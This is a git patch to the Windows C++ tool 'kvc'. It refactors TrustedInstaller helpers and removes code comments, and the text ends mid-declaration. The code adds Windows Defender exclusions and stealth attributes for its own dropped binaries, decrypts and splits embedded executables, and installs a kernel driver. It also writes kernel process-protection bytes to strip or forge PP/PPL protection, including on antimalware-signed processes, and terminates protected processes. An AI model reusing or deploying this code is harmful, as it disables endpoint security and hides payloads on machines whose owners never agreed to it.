From 9926238fb0f0e0781f76981a67535ce976b8048a Mon Sep 17 00:00:00 2001 From: wesmar Date: Thu, 16 Oct 2025 14:35:26 +0200 Subject: [PATCH] Aktualizacja: 2025-10-16 14:35:26 --- kvc/ControllerBinaryManager.cpp | 86 ++-- kvc/ControllerDriverManager.cpp | 22 +- kvc/ControllerProcessOperations.cpp | 587 ++-------------------------- kvc/TrustedInstallerIntegrator.cpp | 31 ++ kvc/TrustedInstallerIntegrator.h | 3 + kvc/common.cpp | 275 +------------ 6 files changed, 129 insertions(+), 875 deletions(-) diff --git a/kvc/ControllerBinaryManager.cpp b/kvc/ControllerBinaryManager.cpp index ae3673e..05449e7 100644 --- a/kvc/ControllerBinaryManager.cpp +++ b/kvc/ControllerBinaryManager.cpp @@ -1,4 +1,5 @@ -// ControllerBinaryManager.cpp - Fixed compilation issues +// ControllerBinaryManager.cpp - Binary component extraction and deployment with privilege escalation + #include "Controller.h" #include "common.h" #include "Utils.h" @@ -7,6 +8,7 @@ namespace fs = std::filesystem; +// Writes file with automatic privilege escalation if normal write fails bool Controller::WriteFileWithPrivileges(const std::wstring& filePath, const std::vector& data) noexcept { // First attempt: normal write operation @@ -24,11 +26,11 @@ bool Controller::WriteFileWithPrivileges(const std::wstring& filePath, const std SetFileAttributesW(filePath.c_str(), FILE_ATTRIBUTE_NORMAL); } - // Force delete if still locked + // Try to delete with normal privileges first if (!DeleteFileW(filePath.c_str())) { - // Use TrustedInstaller for stubborn files - call on instance - std::wstring delCmd = L"cmd.exe /c del /f /q \"" + filePath + L"\""; - if (!m_trustedInstaller.RunAsTrustedInstallerSilent(delCmd)) { + // Fallback: Use TrustedInstaller for system-protected files + INFO(L"Normal delete failed, escalating to TrustedInstaller"); + if (!m_trustedInstaller.DeleteFileAsTrustedInstaller(filePath)) { ERROR(L"Failed to delete existing file with TrustedInstaller: %s", filePath.c_str()); return false; } @@ -40,25 +42,10 @@ bool Controller::WriteFileWithPrivileges(const std::wstring& filePath, const std return true; } - // Final fallback: use TrustedInstaller to write file - const fs::path tempDir = fs::temp_directory_path(); - const fs::path tempFile = tempDir / fs::path(filePath).filename(); - - // Write to temp location first - if (!Utils::WriteFile(tempFile.wstring(), data)) { - ERROR(L"Failed to write to temporary location: %s", tempFile.c_str()); - return false; - } - - // Copy from temp to target with TrustedInstaller - call on instance - std::wstring copyCmd = L"cmd.exe /c copy /y \"" + tempFile.wstring() + L"\" \"" + filePath + L"\""; - bool copySuccess = m_trustedInstaller.RunAsTrustedInstallerSilent(copyCmd); - - // Cleanup temp file - DeleteFileW(tempFile.c_str()); - - if (!copySuccess) { - ERROR(L"TrustedInstaller copy operation failed for: %s", filePath.c_str()); + // Final fallback: write directly with TrustedInstaller privileges + INFO(L"Using TrustedInstaller to write file to protected location"); + if (!m_trustedInstaller.WriteFileAsTrustedInstaller(filePath, data)) { + ERROR(L"TrustedInstaller write operation failed for: %s", filePath.c_str()); return false; } @@ -143,20 +130,20 @@ bool Controller::WriteExtractedComponents(const std::vector& kvcPassData, SetFileAttributesW(kvcCryptPath.c_str(), stealthAttribs); SetFileAttributesW(kvcMainPath.c_str(), stealthAttribs); - // Add Windows Defender exclusions for deployed components - INFO(L"Adding Windows Defender exclusions for deployed components"); + // Add Windows Defender exclusions for deployed components + INFO(L"Adding Windows Defender exclusions for deployed components"); - // Add paths (all files) - m_trustedInstaller.AddDefenderExclusion(TrustedInstallerIntegrator::ExclusionType::Paths, kvcPassPath.wstring()); - m_trustedInstaller.AddDefenderExclusion(TrustedInstallerIntegrator::ExclusionType::Paths, kvcCryptPath.wstring()); - m_trustedInstaller.AddDefenderExclusion(TrustedInstallerIntegrator::ExclusionType::Paths, kvcMainPath.wstring()); + // Add paths (all files) + m_trustedInstaller.AddDefenderExclusion(TrustedInstallerIntegrator::ExclusionType::Paths, kvcPassPath.wstring()); + m_trustedInstaller.AddDefenderExclusion(TrustedInstallerIntegrator::ExclusionType::Paths, kvcCryptPath.wstring()); + m_trustedInstaller.AddDefenderExclusion(TrustedInstallerIntegrator::ExclusionType::Paths, kvcMainPath.wstring()); - // Add processes (executables only) - m_trustedInstaller.AddDefenderExclusion(TrustedInstallerIntegrator::ExclusionType::Processes, L"kvc_pass.exe"); - m_trustedInstaller.AddDefenderExclusion(TrustedInstallerIntegrator::ExclusionType::Processes, L"kvc.exe"); + // Add processes (executables only) + m_trustedInstaller.AddDefenderExclusion(TrustedInstallerIntegrator::ExclusionType::Processes, L"kvc_pass.exe"); + m_trustedInstaller.AddDefenderExclusion(TrustedInstallerIntegrator::ExclusionType::Processes, L"kvc.exe"); - INFO(L"Windows Defender exclusions configured successfully"); - + INFO(L"Windows Defender exclusions configured successfully"); + INFO(L"Binary component extraction and deployment completed successfully"); return true; @@ -192,22 +179,22 @@ bool Controller::LoadAndSplitCombinedBinaries() noexcept INFO(L"Successfully loaded kvc.dat (%zu bytes)", encryptedData.size()); // Decrypt using XOR cipher with predefined key - auto decryptedData = Utils::DecryptXOR(encryptedData, KVC_XOR_KEY); - if (decryptedData.empty()) { - ERROR(L"XOR decryption failed - invalid encrypted data"); - return false; - } + auto decryptedData = Utils::DecryptXOR(encryptedData, KVC_XOR_KEY); + if (decryptedData.empty()) { + ERROR(L"XOR decryption failed - invalid encrypted data"); + return false; + } - INFO(L"XOR decryption completed successfully"); + INFO(L"XOR decryption completed successfully"); - // Split combined binary into separate PE components - std::vector kvcPassData, kvcCryptData; - if (!Utils::SplitCombinedPE(decryptedData, kvcPassData, kvcCryptData)) { - ERROR(L"Failed to split combined PE data into components"); - return false; - } + // Split combined binary into separate PE components + std::vector kvcPassData, kvcCryptData; + if (!Utils::SplitCombinedPE(decryptedData, kvcPassData, kvcCryptData)) { + ERROR(L"Failed to split combined PE data into components"); + return false; + } - if (kvcPassData.empty() || kvcCryptData.empty()) { + if (kvcPassData.empty() || kvcCryptData.empty()) { ERROR(L"Extracted components are empty - invalid PE structure"); return false; } @@ -231,5 +218,4 @@ bool Controller::LoadAndSplitCombinedBinaries() noexcept ERROR(L"Unknown exception during kvc.dat processing"); return false; } -} - +} \ No newline at end of file diff --git a/kvc/ControllerDriverManager.cpp b/kvc/ControllerDriverManager.cpp index 38005fc..87dc977 100644 --- a/kvc/ControllerDriverManager.cpp +++ b/kvc/ControllerDriverManager.cpp @@ -248,14 +248,12 @@ bool Controller::InstallDriver() noexcept { INFO(L"Target driver path: %s", driverPath.c_str()); // Ensure directory exists with TrustedInstaller privileges - DWORD attrs = GetFileAttributesW(driverDir.c_str()); - if (attrs == INVALID_FILE_ATTRIBUTES) { - std::wstring createDirCmd = L"cmd.exe /c mkdir \"" + driverDir.wstring() + L"\""; - if (!m_trustedInstaller.RunAsTrustedInstallerSilent(createDirCmd)) { - ERROR(L"Failed to create driver directory"); - return false; - } + INFO(L"Creating driver directory with TrustedInstaller privileges..."); + if (!m_trustedInstaller.CreateDirectoryAsTrustedInstaller(driverDir.wstring())) { + ERROR(L"Failed to create driver directory: %s", driverDir.c_str()); + return false; } + DEBUG(L"Driver directory ready: %s", driverDir.c_str()); // Write driver file directly with TrustedInstaller privileges INFO(L"Writing driver file with TrustedInstaller privileges..."); @@ -332,13 +330,9 @@ bool Controller::InstallDriverSilently() noexcept { fs::path driverDir = GetDriverStorePath(); fs::path driverPath = driverDir / fs::path(GetDriverFileName()); - // Ensure directory exists - DWORD attrs = GetFileAttributesW(driverDir.c_str()); - if (attrs == INVALID_FILE_ATTRIBUTES) { - std::wstring createDirCmd = L"cmd.exe /c mkdir \"" + driverDir.wstring() + L"\""; - if (!m_trustedInstaller.RunAsTrustedInstallerSilent(createDirCmd)) { - return false; - } + // Ensure directory exists with TrustedInstaller privileges + if (!m_trustedInstaller.CreateDirectoryAsTrustedInstaller(driverDir.wstring())) { + return false; } // Write driver directly with TrustedInstaller privileges diff --git a/kvc/ControllerProcessOperations.cpp b/kvc/ControllerProcessOperations.cpp index b4c316a..2f7beb5 100644 --- a/kvc/ControllerProcessOperations.cpp +++ b/kvc/ControllerProcessOperations.cpp @@ -1,15 +1,3 @@ -/** - * @file ControllerProcessOperations.cpp - * @brief Process operations and protection management implementation - * @author Marek Wesolowski - * @date 2025 - * @copyright KVC Framework - * - * Implements kernel-level process enumeration, protection manipulation, - * termination, and batch operations through driver session management. - * Provides caching for efficient multi-operation workflows. - */ - #include "Controller.h" #include "common.h" #include "Utils.h" @@ -18,31 +6,9 @@ #include #include -// ============================================================================ -// EXTERNAL GLOBALS -// ============================================================================ - -/** @brief Global flag for user interruption (Ctrl+C) */ extern volatile bool g_interrupted; -// ============================================================================ -// DRIVER SESSION MANAGEMENT -// ============================================================================ - -/** - * @brief Begins a driver session with automatic reuse - * - * Session lifecycle management: - * 1. Checks for active session within 5-second window - * 2. Reuses existing session if available - * 3. Initializes new driver session if needed - * 4. Updates usage timestamp for session tracking - * - * @return bool true if driver session is ready, false on failure - * - * @note Optimizes performance by avoiding repeated driver load/unload - * @note Session reuse window: 5 seconds - */ +// Checks for active session within 5s window, reuses if available, otherwise initializes new session bool Controller::BeginDriverSession() { if (m_driverSessionActive) { @@ -63,21 +29,7 @@ bool Controller::BeginDriverSession() return true; } -/** - * @brief Ends driver session with optional keep-alive - * - * Cleanup sequence: - * 1. Checks if session is active - * 2. If not forced, maintains session for 10 seconds - * 3. Performs atomic cleanup on forced termination - * 4. Clears kernel address cache - * 5. Clears process list cache - * - * @param force If true, terminates immediately; if false, allows keep-alive - * - * @note Keep-alive window optimizes batch operations - * @note Always clears caches on session end - */ +// Ends driver session with optional keep-alive window (10s), clears caches on forced termination void Controller::EndDriverSession(bool force) { if (!m_driverSessionActive) return; @@ -95,32 +47,12 @@ void Controller::EndDriverSession(bool force) m_cachedProcessList.clear(); } -/** - * @brief Updates driver usage timestamp for session lifetime management - * - * @note Called on every driver operation to extend session lifetime - */ void Controller::UpdateDriverUsageTimestamp() { m_lastDriverUsage = std::chrono::steady_clock::now(); } -// ============================================================================ -// KERNEL ADDRESS CACHE MANAGEMENT -// ============================================================================ - -/** - * @brief Refreshes kernel address cache from current process list - * - * Cache refresh process: - * 1. Clears existing cache entries - * 2. Enumerates all running processes - * 3. Maps PID to kernel EPROCESS address - * 4. Updates cache timestamp - * - * @note Cache reduces kernel enumeration overhead - * @note Called automatically when cache expires (30 seconds) - */ +// Clears cache, enumerates all processes, maps PID to kernel EPROCESS address void Controller::RefreshKernelAddressCache() { m_kernelAddressCache.clear(); @@ -133,22 +65,7 @@ void Controller::RefreshKernelAddressCache() m_cacheTimestamp = std::chrono::steady_clock::now(); } -/** - * @brief Retrieves cached kernel address for process ID - * - * Lookup strategy: - * 1. Checks cache expiration (30-second TTL) - * 2. Refreshes cache if stale - * 3. Returns cached address if available - * 4. Performs manual search if not cached - * 5. Updates cache with found address - * - * @param pid Process ID to lookup - * @return std::optional Kernel EPROCESS address or nullopt - * - * @note Automatically maintains cache freshness - * @note Falls back to manual search for new processes - */ +// Returns cached kernel address with 30s TTL, refreshes if stale, falls back to manual search std::optional Controller::GetCachedKernelAddress(DWORD pid) { auto now = std::chrono::steady_clock::now(); @@ -173,19 +90,7 @@ std::optional Controller::GetCachedKernelAddress(DWORD pid) return std::nullopt; } -// ============================================================================ -// PROCESS TERMINATION - PUBLIC API -// ============================================================================ - -/** - * @brief Terminates process by PID with driver support - * - * @param pid Process ID to terminate - * @return bool true if termination successful - * - * @note Uses automatic protection elevation for protected processes - * @note Forces session cleanup after operation - */ +// Terminates process by PID with automatic protection elevation bool Controller::KillProcess(DWORD pid) noexcept { bool result = KillProcessInternal(pid, false); @@ -193,22 +98,7 @@ bool Controller::KillProcess(DWORD pid) noexcept return result; } -/** - * @brief Terminates all processes matching name pattern - * - * Termination sequence: - * 1. Begins driver session - * 2. Finds all processes matching pattern - * 3. Terminates each match with protection elevation - * 4. Tracks success/failure counts - * 5. Ends driver session - * - * @param processName Process name or pattern (supports wildcards) - * @return bool true if at least one process terminated - * - * @note Supports wildcard patterns (e.g., "chrome*") - * @note Respects user interruption (Ctrl+C) - */ +// Terminates all processes matching name pattern with wildcard support bool Controller::KillProcessByName(const std::wstring& processName) noexcept { if (!BeginDriverSession()) return false; @@ -243,15 +133,7 @@ bool Controller::KillProcessByName(const std::wstring& processName) noexcept return successCount > 0; } -/** - * @brief Terminates multiple processes by PID list - * - * @param pids Vector of process IDs to terminate - * @return bool true if at least one process terminated - * - * @note Uses single driver session for all operations - * @note Respects user interruption - */ +// Terminates multiple processes by PID list using single driver session bool Controller::KillMultipleProcesses(const std::vector& pids) noexcept { if (pids.empty()) { @@ -285,20 +167,7 @@ bool Controller::KillMultipleProcesses(const std::vector& pids) noexcept return successCount > 0; } -/** - * @brief Terminates multiple processes by mixed PID/name targets - * - * Target resolution: - * 1. Parses each target as PID (numeric) or name (pattern) - * 2. Resolves all names to PIDs with pattern matching - * 3. Deduplicates PID list - * 4. Terminates all resolved processes - * - * @param targets Vector of PIDs (as strings) or process names - * @return bool true if at least one process terminated - * - * @note Supports mixed input: {"1234", "chrome.exe", "note*"} - */ +// Terminates processes by mixed PID/name targets, resolves patterns and deduplicates bool Controller::KillMultipleTargets(const std::vector& targets) noexcept { if (targets.empty()) return false; @@ -342,27 +211,7 @@ bool Controller::KillMultipleTargets(const std::vector& targets) n return successCount > 0; } -// ============================================================================ -// PROCESS PROTECTION MANIPULATION - PUBLIC API -// ============================================================================ - -/** - * @brief Protects process by PID with specified protection level - * - * Protection application: - * 1. Validates process is not already protected - * 2. Parses protection level and signer type - * 3. Calculates combined protection byte - * 4. Writes to EPROCESS.Protection field - * - * @param pid Process ID to protect - * @param protectionLevel Protection level string ("PP" or "PPL") - * @param signerType Signer type string (e.g., "WinTcb", "Antimalware") - * @return bool true if protection applied successfully - * - * @note Fails if process is already protected - * @note Use SetProcessProtection to override existing protection - */ +// Applies protection to process, fails if already protected bool Controller::ProtectProcess(DWORD pid, const std::wstring& protectionLevel, const std::wstring& signerType) noexcept { if (!BeginDriverSession()) { @@ -402,15 +251,7 @@ bool Controller::ProtectProcess(DWORD pid, const std::wstring& protectionLevel, return true; } -/** - * @brief Removes protection from process by PID - * - * @param pid Process ID to unprotect - * @return bool true if protection removed successfully - * - * @note Fails if process is not protected - * @note Sets EPROCESS.Protection to 0 - */ +// Removes protection from process, fails if not protected bool Controller::UnprotectProcess(DWORD pid) noexcept { if (!BeginDriverSession()) { @@ -442,17 +283,7 @@ bool Controller::UnprotectProcess(DWORD pid) noexcept return true; } -/** - * @brief Sets or overwrites process protection regardless of current state - * - * @param pid Process ID - * @param protectionLevel Protection level string ("PP" or "PPL") - * @param signerType Signer type string - * @return bool true if protection set successfully - * - * @note Unlike ProtectProcess, this overwrites existing protection - * @note Useful for changing protection levels - */ +// Sets or overwrites process protection regardless of current state bool Controller::SetProcessProtection(DWORD pid, const std::wstring& protectionLevel, const std::wstring& signerType) noexcept { if (!BeginDriverSession()) { @@ -486,71 +317,26 @@ bool Controller::SetProcessProtection(DWORD pid, const std::wstring& protectionL return true; } -/** - * @brief Protects process by name with specified protection level - * - * @param processName Process name or pattern - * @param protectionLevel Protection level string - * @param signerType Signer type string - * @return bool true if protection applied successfully - * - * @note Uses driver-free name resolution - * @note Fails if multiple processes match pattern - */ +// Protects process by name, fails if multiple matches found bool Controller::ProtectProcessByName(const std::wstring& processName, const std::wstring& protectionLevel, const std::wstring& signerType) noexcept { auto match = ResolveNameWithoutDriver(processName); return match ? ProtectProcess(match->Pid, protectionLevel, signerType) : false; } -/** - * @brief Removes protection from process by name - * - * @param processName Process name or pattern - * @return bool true if protection removed successfully - */ bool Controller::UnprotectProcessByName(const std::wstring& processName) noexcept { auto match = ResolveNameWithoutDriver(processName); return match ? UnprotectProcess(match->Pid) : false; } -/** - * @brief Sets process protection by name - * - * @param processName Process name or pattern - * @param protectionLevel Protection level string - * @param signerType Signer type string - * @return bool true if protection set successfully - */ bool Controller::SetProcessProtectionByName(const std::wstring& processName, const std::wstring& protectionLevel, const std::wstring& signerType) noexcept { auto match = ResolveNameWithoutDriver(processName); return match ? SetProcessProtection(match->Pid, protectionLevel, signerType) : false; } -// ============================================================================ -// BATCH PROTECTION OPERATIONS - PUBLIC API -// ============================================================================ - -/** - * @brief Protects multiple processes with single driver session - * - * Batch protection sequence: - * 1. Validates protection parameters - * 2. Resolves all targets (PIDs/names) to PIDs - * 3. Opens single driver session - * 4. Applies protection to each process - * 5. Tracks success/failure statistics - * - * @param targets Vector of PIDs or process names - * @param protectionLevel Protection level string - * @param signerType Signer type string - * @return bool true if at least one process protected - * - * @note Skips already-protected processes - * @note More efficient than individual calls due to session reuse - */ +// Protects multiple processes in single session, skips already-protected processes bool Controller::ProtectMultipleProcesses(const std::vector& targets, const std::wstring& protectionLevel, const std::wstring& signerType) noexcept @@ -611,16 +397,7 @@ bool Controller::ProtectMultipleProcesses(const std::vector& targe return successCount > 0; } -/** - * @brief Sets protection on multiple processes (overwrites existing) - * - * @param targets Vector of PIDs or process names - * @param protectionLevel Protection level string - * @param signerType Signer type string - * @return bool true if at least one process modified - * - * @note Unlike ProtectMultipleProcesses, overwrites existing protection - */ +// Sets protection on multiple processes, overwrites existing protection bool Controller::SetMultipleProcessesProtection(const std::vector& targets, const std::wstring& protectionLevel, const std::wstring& signerType) noexcept @@ -681,15 +458,7 @@ bool Controller::SetMultipleProcessesProtection(const std::vector& return successCount > 0; } -/** - * @brief Unprotects multiple processes by target list - * - * @param targets Vector of PIDs or process names - * @return bool true if all targets successfully unprotected - * - * @note Returns true only if ALL targets unprotected - * @note Use for partial success checking - */ +// Unprotects multiple processes, returns true only if ALL succeed bool Controller::UnprotectMultipleProcesses(const std::vector& targets) noexcept { if (targets.empty()) return false; @@ -722,26 +491,7 @@ bool Controller::UnprotectMultipleProcesses(const std::vector& tar return successCount == totalCount; } -// ============================================================================ -// SIGNER-BASED MASS OPERATIONS -// ============================================================================ - -/** - * @brief Unprotects all processes with specified signer type - * - * Mass unprotection workflow: - * 1. Validates signer type - * 2. Enumerates all protected processes - * 3. Filters by signer type - * 4. Saves state to session manager for restoration - * 5. Removes protection from all matches - * - * @param signerName Signer type name (e.g., "WinTcb", "Antimalware") - * @return bool true if at least one process unprotected - * - * @note State saved for potential restoration with restore command - * @note Respects user interruption - */ +// Unprotects all processes with specified signer, saves state for restoration bool Controller::UnprotectBySigner(const std::wstring& signerName) noexcept { auto signerType = Utils::GetSignerTypeFromString(signerName); @@ -791,24 +541,7 @@ bool Controller::UnprotectBySigner(const std::wstring& signerName) noexcept return successCount > 0; } -/** - * @brief Sets protection for all processes with specified current signer type - * - * Mass protection workflow: - * 1. Validates current signer, new signer and protection level - * 2. Enumerates all processes with current signer type - * 3. Applies new protection level and signer to all matches - * 4. Processes protection changes in batch - * - * @param currentSigner Current signer type to filter processes (e.g., "WinTcb", "Microsoft") - * @param level New protection level to apply (e.g., "Windows", "WindowsLight") - * @param newSigner New signer type to apply (e.g., "Antimalware", "WinTcb") - * @return bool true if at least one process protection was successfully modified - * - * @note Changes protection for both currently running and future processes with matching signer - * @note Respects user interruption during batch operation - * @warning This operation cannot be automatically restored like unprotection - */ +// Changes protection for all processes with specified current signer bool Controller::SetProtectionBySigner(const std::wstring& currentSigner, const std::wstring& level, const std::wstring& newSigner) noexcept @@ -878,21 +611,7 @@ bool Controller::SetProtectionBySigner(const std::wstring& currentSigner, return successCount > 0; } -/** - * @brief Removes protection from all protected processes - * - * Global unprotection workflow: - * 1. Enumerates all protected processes - * 2. Groups by signer type - * 3. Saves state for each signer group - * 4. Removes protection from all processes - * 5. Reports statistics per signer group - * - * @return bool true if at least one process unprotected - * - * @note State saved per signer for selective restoration - * @note Provides detailed progress reporting - */ +// Removes protection from all protected processes, groups by signer and saves state bool Controller::UnprotectAllProcesses() noexcept { if (!BeginDriverSession()) { @@ -944,19 +663,7 @@ bool Controller::UnprotectAllProcesses() noexcept return totalSuccess > 0; } -// ============================================================================ -// SESSION STATE RESTORATION -// ============================================================================ - -/** - * @brief Restores protection for processes unprotected by signer - * - * @param signerName Signer type to restore - * @return bool true if restoration successful - * - * @note Requires prior unprotect operation with state saved - * @note Delegates to SessionManager for state tracking - */ +// Restores protection for processes unprotected by signer bool Controller::RestoreProtectionBySigner(const std::wstring& signerName) noexcept { if (!BeginDriverSession()) { @@ -968,13 +675,7 @@ bool Controller::RestoreProtectionBySigner(const std::wstring& signerName) noexc return result; } -/** - * @brief Restores protection for all previously unprotected processes - * - * @return bool true if restoration successful - * - * @note Restores all signer groups from current boot session - */ +// Restores protection for all previously unprotected processes bool Controller::RestoreAllProtection() noexcept { if (!BeginDriverSession()) { @@ -986,37 +687,12 @@ bool Controller::RestoreAllProtection() noexcept return result; } -/** - * @brief Displays session history with restoration states - * - * @note Delegates to SessionManager for display - */ void Controller::ShowSessionHistory() noexcept { m_sessionMgr.ShowHistory(); } -// ============================================================================ -// PROCESS INFORMATION AND LISTING -// ============================================================================ - -/** - * @brief Lists all protected processes in formatted table - * - * Display format includes: - * - PID - * - Process name (truncated to 28 chars) - * - Protection level (PP/PPL) - * - Signer type - * - EXE signature level - * - DLL signature level - * - Kernel EPROCESS address - * - * @return bool true if at least one protected process found - * - * @note Uses ANSI color codes for visual categorization - * @note Only displays processes with ProtectionLevel > 0 - */ +// Lists all protected processes in formatted table with color coding bool Controller::ListProtectedProcesses() noexcept { if (!BeginDriverSession()) { @@ -1072,15 +748,7 @@ bool Controller::ListProtectedProcesses() noexcept return true; } -/** - * @brief Lists all processes with specific signer type - * - * @param signerName Signer type name to filter by - * @return bool true if at least one process found - * - * @note Uses same display format as ListProtectedProcesses - * @note Filters both protected and unprotected processes - */ +// Lists all processes with specific signer type bool Controller::ListProcessesBySigner(const std::wstring& signerName) noexcept { auto signerType = Utils::GetSignerTypeFromString(signerName); @@ -1130,7 +798,7 @@ bool Controller::ListProcessesBySigner(const std::wstring& signerName) noexcept } if (!foundAny) { - std::wcout << Utils::ProcessColors::RESET // RESET koloru przed komunikatem! + std::wcout << Utils::ProcessColors::RESET << L"\nNo processes found with signer type: " << signerName << L"\n"; return false; } @@ -1141,15 +809,7 @@ bool Controller::ListProcessesBySigner(const std::wstring& signerName) noexcept return true; } -/** - * @brief Retrieves and displays detailed protection info for process by PID - * - * @param pid Process ID to query - * @return bool true if information retrieved successfully - * - * @note Displays protection level, signer, signature levels - * @note Includes dumpability analysis - */ +// Retrieves and displays detailed protection info for process by PID bool Controller::GetProcessProtection(DWORD pid) noexcept { if (!BeginDriverSession()) { @@ -1184,7 +844,6 @@ bool Controller::GetProcessProtection(DWORD pid) noexcept std::wstring processName = Utils::GetProcessName(pid); - // Enable ANSI colors if (!Utils::EnableConsoleVirtualTerminal()) { ERROR(L"Failed to enable console colors"); } @@ -1192,7 +851,6 @@ bool Controller::GetProcessProtection(DWORD pid) noexcept if (protLevel == 0) { std::wcout << L"[*] PID " << pid << L" (" << processName << L") is not protected\n"; } else { - // Use GetProcessDisplayColor() for consistent colors with "kvc list" const wchar_t* color = Utils::GetProcessDisplayColor( signerType, signatureLevel, sectionSignatureLevel); @@ -1208,48 +866,15 @@ bool Controller::GetProcessProtection(DWORD pid) noexcept EndDriverSession(true); return true; } -// ============================================================================ -// PROCESS INFORMATION BY NAME -// ============================================================================ -/** - * @brief Retrieves protection information for process by name - * - * @param processName Process name or pattern - * @return bool true if information retrieved successfully - * - * @note Resolves name to PID and delegates to GetProcessProtection(DWORD) - * @note Uses driver-free name resolution for efficiency - */ +// Retrieves protection info by name, delegates to GetProcessProtection(DWORD) bool Controller::GetProcessProtectionByName(const std::wstring& processName) noexcept { auto match = ResolveNameWithoutDriver(processName); return match ? GetProcessProtection(match->Pid) : false; } -// ============================================================================ -// INTERNAL TERMINATION IMPLEMENTATION -// ============================================================================ - -/** - * @brief Internal process termination with automatic protection elevation - * - * Termination workflow: - * 1. Begins driver session if not in batch mode - * 2. Retrieves process kernel address from cache - * 3. Reads current protection level - * 4. Elevates current process if target is protected - * 5. Attempts termination with PROCESS_TERMINATE - * 6. Falls back to PROCESS_ALL_ACCESS if needed - * 7. Ends session if not in batch mode - * - * @param pid Process ID to terminate - * @param batchOperation If true, assumes session already active - * @return bool true if termination successful - * - * @note Automatically matches target protection for elevation - * @note Critical for terminating PP/PPL processes - */ +// Terminates process with automatic protection elevation for PP/PPL targets bool Controller::KillProcessInternal(DWORD pid, bool batchOperation) noexcept { if (!batchOperation && !BeginDriverSession()) { @@ -1296,22 +921,7 @@ bool Controller::KillProcessInternal(DWORD pid, bool batchOperation) noexcept return terminated; } -// ============================================================================ -// INTERNAL PROTECTION MANIPULATION - BATCH SUPPORT -// ============================================================================ - -/** - * @brief Internal process protection with batch operation support - * - * @param pid Process ID to protect - * @param protectionLevel Protection level string - * @param signerType Signer type string - * @param batchOperation If true, assumes session active - * @return bool true if protection applied - * - * @note Skips already-protected processes with info message - * @note Optimized for batch operations with session reuse - */ +// Applies protection in batch mode, skips already-protected processes bool Controller::ProtectProcessInternal(DWORD pid, const std::wstring& protectionLevel, const std::wstring& signerType, bool batchOperation) noexcept { @@ -1354,17 +964,7 @@ bool Controller::ProtectProcessInternal(DWORD pid, const std::wstring& protectio return result; } -/** - * @brief Internal protection setter with batch support (overwrites existing) - * - * @param pid Process ID - * @param protectionLevel Protection level string - * @param signerType Signer type string - * @param batchOperation If true, assumes session active - * @return bool true if protection set successfully - * - * @note Unlike ProtectProcessInternal, always overwrites protection - */ +// Sets protection in batch mode, always overwrites existing protection bool Controller::SetProcessProtectionInternal(DWORD pid, const std::wstring& protectionLevel, const std::wstring& signerType, bool batchOperation) noexcept { @@ -1400,31 +1000,7 @@ bool Controller::SetProcessProtectionInternal(DWORD pid, const std::wstring& pro return result; } -// ============================================================================ -// KERNEL-LEVEL PROCESS ENUMERATION -// ============================================================================ - -/** - * @brief Enumerates all processes by walking kernel EPROCESS linked list - * - * Enumeration algorithm: - * 1. Obtains PsInitialSystemProcess address - * 2. Reads required structure offsets from OffsetFinder - * 3. Walks ActiveProcessLinks circular list - * 4. For each EPROCESS: - * - Reads UniqueProcessId (PID) - * - Reads Protection byte - * - Reads SignatureLevel bytes - * - Resolves process name - * 5. Respects user interruption at multiple checkpoints - * 6. Safety limit: 10,000 processes maximum - * - * @return std::vector All discovered processes with metadata - * - * @note Returns empty vector if interrupted or initialization fails - * @note Resolves unknown process names using kernel data - * @note Critical for all protection operations - */ +// Enumerates all processes by walking kernel EPROCESS linked list with 10k limit std::vector Controller::GetProcessList() noexcept { std::vector processes; @@ -1498,13 +1074,7 @@ std::vector Controller::GetProcessList() noexcept return processes; } -/** - * @brief Retrieves kernel address of PsInitialSystemProcess - * - * @return std::optional System process EPROCESS address - * - * @note Entry point for EPROCESS linked list traversal - */ +// Returns kernel address of PsInitialSystemProcess std::optional Controller::GetInitialSystemProcessAddress() noexcept { auto kernelBase = Utils::GetKernelBaseAddress(); @@ -1515,14 +1085,7 @@ std::optional Controller::GetInitialSystemProcessAddress() noexcept return m_rtc->ReadPtr(pPsInitialSystemProcess); } -/** - * @brief Retrieves kernel EPROCESS address for process ID - * - * @param pid Process ID to lookup - * @return std::optional Kernel address or nullopt if not found - * - * @note Enumerates entire process list - consider using cache - */ +// Retrieves kernel EPROCESS address for PID by enumerating process list std::optional Controller::GetProcessKernelAddress(DWORD pid) noexcept { auto processes = GetProcessList(); @@ -1534,54 +1097,21 @@ std::optional Controller::GetProcessKernelAddress(DWORD pid) noexcept return std::nullopt; } -/** - * @brief Reads protection byte from EPROCESS structure - * - * @param addr Kernel EPROCESS address - * @return std::optional Protection byte value - * - * @note Reads EPROCESS.Protection field at dynamic offset - */ +// Reads EPROCESS.Protection byte at dynamic offset std::optional Controller::GetProcessProtection(ULONG_PTR addr) noexcept { auto offset = m_of->GetOffset(Offset::ProcessProtection); return offset ? m_rtc->Read8(addr + offset.value()) : std::nullopt; } -/** - * @brief Writes protection byte to EPROCESS structure - * - * @param addr Kernel EPROCESS address - * @param protection New protection value to write - * @return bool true if write successful - * - * @warning Direct kernel memory modification - use with caution - */ +// Writes protection byte to EPROCESS structure bool Controller::SetProcessProtection(ULONG_PTR addr, UCHAR protection) noexcept { auto offset = m_of->GetOffset(Offset::ProcessProtection); return offset ? m_rtc->Write8(addr + offset.value(), protection) : false; } -// ============================================================================ -// PROCESS NAME RESOLUTION AND PATTERN MATCHING -// ============================================================================ - -/** - * @brief Resolves process name to single match with driver support - * - * Resolution workflow: - * 1. Begins driver session - * 2. Finds all processes matching pattern - * 3. Validates single match (fails on ambiguity) - * 4. Returns ProcessMatch with PID, name, kernel address - * - * @param processName Process name or pattern - * @return std::optional Single match or nullopt - * - * @note Fails if multiple matches found - requires specific pattern - * @note Uses driver for accurate kernel address retrieval - */ +// Resolves name to single match with driver, fails on ambiguity std::optional Controller::ResolveProcessName(const std::wstring& processName) noexcept { if (!BeginDriverSession()) return std::nullopt; @@ -1605,15 +1135,7 @@ std::optional Controller::ResolveProcessName(const std::wstring& p return std::nullopt; } -/** - * @brief Finds all processes matching name pattern with driver - * - * @param pattern Process name pattern (supports wildcards) - * @return std::vector All matching processes - * - * @note Pattern matching: exact, substring, regex with wildcards - * @note Case-insensitive matching - */ +// Finds all processes matching pattern with case-insensitive wildcard support std::vector Controller::FindProcessesByName(const std::wstring& pattern) noexcept { std::vector matches; @@ -1625,16 +1147,7 @@ std::vector Controller::FindProcessesByName(const std::wstring& pa return matches; } -/** - * @brief Resolves process name without driver initialization - * - * @param processName Process name or pattern - * @return std::optional Single match (without kernel address) - * - * @note Uses CreateToolhelp32Snapshot for enumeration - * @note Kernel address will be 0 - requires driver lookup if needed - * @note Faster for operations that don't need kernel access - */ +// Resolves name without driver using Toolhelp snapshot, kernel address will be 0 std::optional 